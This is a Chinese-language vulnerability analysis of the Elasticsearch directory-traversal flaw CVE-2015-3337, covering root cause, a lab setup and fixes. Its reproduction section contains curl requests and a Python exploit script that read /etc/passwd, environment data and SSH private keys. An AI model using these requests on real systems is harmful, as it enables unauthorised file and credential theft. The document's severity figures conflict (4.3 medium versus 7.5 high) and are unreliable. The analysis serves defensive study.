一、漏洞简介

1.1 漏洞背景

2015年4月,Elasticsearch 官方发布安全公告,披露了一个严重的目录遍历漏洞。当 Elasticsearch 安装了站点插件(Site Plugin)时,攻击者可以利用此漏洞读取服务器上的任意文件。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2015-3337
危害等级 MEDIUM / 4.3
漏洞类型 目录遍历漏洞
披露时间 2015-05-01
影响组件 Elasticsearch 安全
  • 漏洞类型: 目录遍历 / 任意文件读取
  • CVE ID: CVE-2015-3337
  • 危害等级: 高危
  • CVSS 评分: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
  • CWE ID: CWE-22 (Path Traversal)
  • 发现时间: 2015年4月
  • 发现者: Unknown

补充核验信息:公开时间:2015-05-01;NVD 评分:4.3(MEDIUM);CWE:CWE-22。

二、影响范围

2.1 受影响的版本

  • Elasticsearch < 1.4.5
  • Elasticsearch 1.5.x < 1.5.2

2.2 不受影响的版本

  • Elasticsearch ≥ 1.4.5
  • Elasticsearch ≥ 1.5.2

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 安装了站点插件(如 elasticsearch-head, elasticsearch-kopf, bigdesk 等)
  2. 插件目录存在
  3. 攻击者能访问 9200 端口

三、漏洞详情与原理解析

3.1 漏洞触发机制

站点插件是静态 HTML/JS 文件,通过 /_plugin/[plugin_name]/ 路径访问。Elasticsearch 在处理插件静态文件请求时,未对路径进行充分验证:

请求: GET /_plugin/head/../../../../../../etc/passwd
解析为: /etc/passwd

路径中的 ../ 允许遍历到插件目录之外。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码(简化版):

// action/admin/indices/TransportPluginsAction.java (漏洞版本)
public class PluginResourceHandler {
    public void handlePluginRequest(String pluginName, String path, RestChannel channel) {
        // 获取插件目录
        Path pluginDir = pluginsService.getPluginDir(pluginName);

        // 漏洞:直接拼接路径,未验证是否超出插件目录
        Path requestedFile = pluginDir.resolve(path);

        // 返回文件内容
        BytesReference content = Files.readAllBytes(requestedFile);
        channel.sendResponse(new BytesRestResponse(OK, content));
    }
}

修复代码(1.4.5+):

public class PluginResourceHandler {
    public void handlePluginRequest(String pluginName, String path, RestChannel channel) {
        Path pluginDir = pluginsService.getPluginDir(pluginName);
        Path requestedFile = pluginDir.resolve(path).normalize();

        // 修复:检查规范化后的路径是否仍在插件目录内
        if (!requestedFile.startsWith(pluginDir.normalize())) {
            throw new SecurityException("Path traversal attempt detected");
        }

        BytesReference content = Files.readAllBytes(requestedFile);
        channel.sendResponse(new BytesRestResponse(OK, content));
    }
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动受影响的 Elasticsearch 版本
docker run -d --name es-cve-2015-3337 \
  -p 9200:9200 \
  elasticsearch:1.4.4

# 安装 head 插件(进入容器)
docker exec -it es-cve-2015-3337 bash
cd /usr/share/elasticsearch
./bin/plugin install mobz/elasticsearch-head

4.2 PoC 演示与测试过程

# 基本测试:读取 /etc/passwd
curl "http://target:9200/_plugin/head/../../../../../../etc/passwd"

# 响应示例:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

# 读取 Elasticsearch 配置文件
curl "http://target:9200/_plugin/head/../../../../../../usr/share/elasticsearch/config/elasticsearch.yml"

# 读取系统敏感文件
curl "http://target:9200/_plugin/head/../../../../../../proc/self/environ"

# 读取 SSH 私钥(如果有权限)
curl "http://target:9200/_plugin/head/../../../../../../root/.ssh/id_rsa"

自动化脚本:

#!/usr/bin/env python3
import requests
import sys

def exploit(target, file_path):
    # 构造目录遍历路径
    traversal = "/.."
    full_path = f"/_plugin/head/{traversal * 10}{file_path}"

    try:
        r = requests.get(f"http://{target}:9200{full_path}")
        if r.status_code == 200:
            print(f"[+] File content:\n{r.text}")
        else:
            print(f"[-] Failed: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <target> <file>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

五、修复建议与缓解措施

5.1 官方版本升级建议

  1. 升级到 Elasticsearch ≥ 1.5.2
  2. 如无法升级,至少升级到 1.4.5

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:移除站点插件

./bin/plugin remove head
./bin/plugin remove kopf
# 移除所有站点插件

方案二:限制插件目录访问

# elasticsearch.yml
http.cors.enabled: false

方案三:WAF 规则

# ModSecurity 规则
SecRule REQUEST_URI "@contains ../" \
    "id:1001,phase:1,deny,status:403,msg:'Path traversal attempt'"

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://www.elastic.co/community/security

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2015-3337
  • CVE:https://www.cve.org/CVERecord?id=CVE-2015-3337
  • https://www.elastic.co/community/security
  • http://packetstormsecurity.com/files/131646/Elasticsearch-Directory-Traversal.html
  • http://www.debian.org/security/2015/dsa-3241
  • http://www.securityfocus.com/archive/1/535385
  • http://www.securityfocus.com/bid/74353
  • http://target:9200/_plugin/head/../../../../../../etc/passwd"